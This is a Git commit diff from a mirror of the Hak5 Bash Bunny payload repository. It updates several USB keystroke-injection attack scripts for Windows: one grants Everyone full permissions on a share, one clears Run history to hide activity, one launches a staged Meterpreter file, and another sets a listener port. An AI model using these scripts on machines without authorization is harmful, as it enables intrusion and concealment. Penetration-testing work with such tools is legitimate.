mirror of
https://github.com/hak5/bashbunny-payloads.git
synced 2025-10-29 16:58:25 +00:00
Update and fix payloads (#277)
* Updated all Payloads for Version 1.2+ Fixed Style Issues on extensions and payloads. Added GET TARGET_OS to get.sh Removed and Fixed all uses ducky_helper.sh (Issue #248) Removed all mention of DUCKY_LANG (Issue #248) Renamed Payloads with spaces in name Added an extension to keep Macs Happy Added a payload for Mac DNS poisoning Fixed Issue #271 changed wget to curl -o Implemented PR #268 Implemented PR #273 * Fixed e.cmd * Fix e.cmd pt2 * Fixed Issues Fixed issues pointed out by @sebkinne Fixed styling errors
This commit is contained in:
committed by
Sebastian Kinne
parent
c0ab8d3e88
commit
5a77792c1d
@@ -17,6 +17,9 @@ RPORT=4444
|
||||
# Start Setup
|
||||
LED SETUP
|
||||
|
||||
# Gets Switch Position
|
||||
GET SWITCH_POSITION
|
||||
|
||||
# Set Attack Mode
|
||||
ATTACKMODE HID STORAGE
|
||||
|
||||
|
||||
@@ -4,18 +4,18 @@
|
||||
# Author: StinkyBliss
|
||||
# Version: 1.0
|
||||
# Target: Windows
|
||||
#
|
||||
#
|
||||
#
|
||||
#
|
||||
# Maps the file system and stores it in c:\users\tempa
|
||||
# Shares a location to everyone and grants full security permissions to everyone
|
||||
#
|
||||
#
|
||||
# For testing use: 'icacls "c:\Users" /remove:g Everyone /T' to remove the created security permissions
|
||||
# To share a drive change the path in nl.cmd to c: remove the quotes
|
||||
|
||||
LED R 200
|
||||
LED SETUP
|
||||
GET SWITCH_POSITION
|
||||
|
||||
# Source bunny_helpers.sh to get environment variable SWITCH_POSITION
|
||||
source bunny_helpers.sh
|
||||
LED STAGE1
|
||||
|
||||
ATTACKMODE HID
|
||||
|
||||
@@ -30,12 +30,12 @@ Q DELAY 1000
|
||||
Q LEFT
|
||||
Q ENTER
|
||||
|
||||
LED R G 200
|
||||
LED STAGE2
|
||||
|
||||
ATTACKMODE HID STORAGE
|
||||
|
||||
# Start nl.cmd
|
||||
Q STRING ".((gwmi win32_volume -f 'label=''BashBunny''').Name+'payloads\switch1\nl.cmd')"
|
||||
Q STRING ".((gwmi win32_volume -f 'label=''BashBunny''').Name+'payloads\${SWITCH_POSITION}\nl.cmd')"
|
||||
Q ENTER
|
||||
|
||||
# Wait for nl.cmd and exit
|
||||
@@ -45,4 +45,4 @@ Q ENTER
|
||||
|
||||
sync
|
||||
|
||||
LED G
|
||||
LED FINISH
|
||||
|
||||
@@ -17,12 +17,13 @@
|
||||
#Green - Attack Completion
|
||||
|
||||
#Initialization - Setting AttackModes
|
||||
LED W
|
||||
LED SETUP
|
||||
ATTACKMODE HID STORAGE
|
||||
GET SWITCH_POSITION
|
||||
#Initialization Completed
|
||||
|
||||
#Beginning of HID/STORAGE Phase
|
||||
LED B 10
|
||||
LED ATTACK
|
||||
#Description::
|
||||
Q DELAY 2000
|
||||
Q GUI d
|
||||
@@ -61,7 +62,7 @@ Q DELAY 500
|
||||
#End of HID/STORAGE Phase
|
||||
|
||||
#Cleanup
|
||||
LED Y 100
|
||||
LED CLEANUP
|
||||
#Clears complete run history
|
||||
Q GUI r
|
||||
Q DELAY 500
|
||||
@@ -70,7 +71,6 @@ Q ENTER
|
||||
#End of Cleanup
|
||||
|
||||
#Completion of script
|
||||
LED G 100
|
||||
sync
|
||||
LED G
|
||||
LED FINISH
|
||||
#Completed
|
||||
|
||||
@@ -3,7 +3,6 @@ LED G
|
||||
REM set attackmode to HID device
|
||||
ATTACKMODE HID
|
||||
REM set keyboard
|
||||
DUCKY_LANG us
|
||||
REM open run menu
|
||||
Q GUI r
|
||||
Q DELAY 1000
|
||||
|
||||
@@ -29,20 +29,19 @@
|
||||
# Red: failure to load dependency ducky script
|
||||
#
|
||||
|
||||
LED SETUP
|
||||
|
||||
GET SWITCH_POSITION
|
||||
|
||||
ATTACKMODE HID
|
||||
|
||||
LED R G 200
|
||||
|
||||
LANGUAGE='us'
|
||||
|
||||
source bunny_helpers.sh
|
||||
LED ATTACK
|
||||
|
||||
if [ -f "/root/udisk/payloads/${SWITCH_POSITION}/ducky.txt" ]; then
|
||||
QUACK ${SWITCH_POSITION}/windows-staged-meterpreter.txt
|
||||
LED G
|
||||
LED FINISH
|
||||
else
|
||||
LED R
|
||||
LED FAIL
|
||||
echo "Unable to load dwindows-staged-meterpreter.txt" >> /root/debuglog.txt
|
||||
exit 1
|
||||
fi
|
||||
|
||||
Reference in New Issue
Block a user